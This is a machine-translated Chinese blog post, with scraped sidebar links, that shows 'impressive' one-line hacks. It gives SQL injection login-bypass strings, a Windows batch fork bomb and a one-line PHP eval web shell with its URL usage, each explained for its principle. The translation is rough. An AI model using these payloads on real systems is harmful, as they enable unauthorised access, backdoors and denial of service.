当前位置:网站首页>[cloud native] those lines of code that look awesome but have a very simple principle
[cloud native] those lines of code that look awesome but have a very simple principle
2022-07-04 04:33:00 【Grade three WYX】
「 Author URI 」: Three days wyx
「 Author's brief introduction 」:CSDN top100、 Alibaba cloud blog expert 、 Huawei cloud sharing expert 、 High quality creators in the field of network security
1. Universal password
you 're right , Literally , Just know the account number , Then enter the following line of code :
account number 'and 1 -- a
such as , The default account number of many websites is admin, Let's just type admin'and 1 -- a
, Write the password casually :
Click login , Successfully logged in admin account number .
actually , This is a SQL Way of utilizing injection , For websites with injection points , You can use .
Generally speaking , The code of login function is in the following format :
select * from user where username = '' and password = '' limit 1,1
The account number we entered admin'and 1 -- a
And password 1
, Joining together to SQL Inside :
select * from user where username = 'admin'and 1 -- a' and password = '1' limit 1,1
--
It's a comment , The content after the comment does not participate in compilation :
select * from user where username = 'admin'and 1
1
Will be converted to True
select * from user where username = 'admin'and True
As long as there is a admin This account ,SQL You can query successfully , To log in .
2. Universal account
You need to know the account number in the above code , But you don't even need to know your account number :
a' or 1 -- a
Enter a' or 1 -- a
, Write the password casually :
Click login , success .
The principle is similar to the above , It's also SQL Way of utilizing injection , It applies to websites with presence injection .
Parameter splicing to SQL in the future , It's like this :
select * from user where username = 'a' or 1 -- a' and password = '' limit 1,1
--
Comments are not compiled ,1
Convert to True:
select * from user where username = 'a' or True
or
It means or means , There is one on both sides True, The result goes back to True, Actually implemented SQL That's true :
select * from user where True
3. fork bomb
Create a new text file , Input %0|%0
Change the suffix to .bat
, If there is anti-virus software, it should prompt , It is recommended to run on a virtual machine .
After opening the task manager , Double-click on the run .
You will see that first CPU Run full , Then the memory is full , Then prompt for insufficient memory , then ……
The principle is very simple , Is to keep creating processes , The creation speed can refer to the exponential growth learned in the third grade of primary school .fork Bombs will constantly consume resources , When resources are exhausted, the screen will be blue or black , Just restart the computer .
Tips : Execute while running taskkill /f /im cmd.exe
, Something magical will happen .
Limit the number of processes that a single user can create online , Can prevent... To some extent fork bomb .
4. In a word, herding horses
In the movie , Hackers usually implant backdoor programs into other people's computers , Then control others' computers , That sounds cool, doesn't it ? actually , The simplest back door , One line of code is enough .
With PHP For example , The file that will contain this line of code , Uploaded to the website web Under the table of contents :
<?[email protected]eval($_GET['shell']);?>
Access this file , You can control others .
The principle is very simple , The address bar accesses this file , Use parameters to pass commands :
127.0.0.1/shell.php?shell='ls'
Background reception GET Parameters passed by the request :
<?[email protected]eval('ls');?>
coordination @eval
Function can execute system commands , So as to have the effect of control .
5. Clean up the rubbish
PS: There are fans' reactions , There is no soul without this line of code , Then add another one .
Many companies recruit employees , Candidates will be required to have certain optimization ability .
When your boss asks you to optimize your code , When improving the operation efficiency of the system , You can type the following line of code , Get a big promotion and raise :
边栏推荐
- R语言dplyr中的Select函数变量列名
- dried food! Generation of rare samples based on GaN
- 浅谈JVM的那些事
- 普源DS1000Z系列数字示波器在通信原理实验中的应用方案
- 【云原生】那些看起来很牛X,原理却很简单的一行代码
- Kivy教程之 格式化文本 (教程含源码)
- What does software testing do? Find defects and improve the quality of software
- 陪驾注意事项 这23点要注意!
- Rhcsa 04 - process management
- (pointer) write a function to compare the size of strings by yourself, which is similar to StrCmp.
猜你喜欢
NFT new opportunity, multimedia NFT aggregation platform okaleido will be launched soon
Kivy教程之 更改背景颜色(教程含源码)
Graduation project: design seckill e-commerce system
北漂程序员,月薪20K,一年攒15W,正常吗?
Flink learning 8: data consistency
[microservice openfeign] @feignclient detailed explanation
TCP-三次握手和四次挥手简单理解
Redis: operation command for collecting set type data
Leetcode skimming: binary tree 07 (maximum depth of binary tree)
Architecture practice camp - graduation project of module 9 of phase 6
随机推荐
Unity Resource path
戳气球和布尔运算问题(巨难)
5张图告诉你:同样是职场人,差距怎么这么大?
FT2000+下LPC中断绑核使用说明
Pytest基础自学系列(一)
Apple CMS imitation watermelon video atmospheric response video template source code
R语言dplyr中的Select函数变量列名
Instructions for LPC interrupt binding under ft2000+
Flink learning 6: programming model
One click compilation and deployment of MySQL
资深开发人员告诉你,怎样编写出优秀的代码?
Wechat brain competition answer applet_ Support the flow main belt with the latest question bank file
Longest increasing subsequence problem (do you really know it)
Leetcode skimming: binary tree 08 (maximum depth of n-ary tree)
EIG在智利推出可再生能源平台Grupo Cerro
ModStartBlog 现代化个人博客系统 v5.2.0 源码下载
Distributed cap theory
Boutique website navigation theme whole station source code WordPress template adaptive mobile terminal
R语言中如何查看已安装的R包
Leetcode 121 best time to buy and sell stock (simple)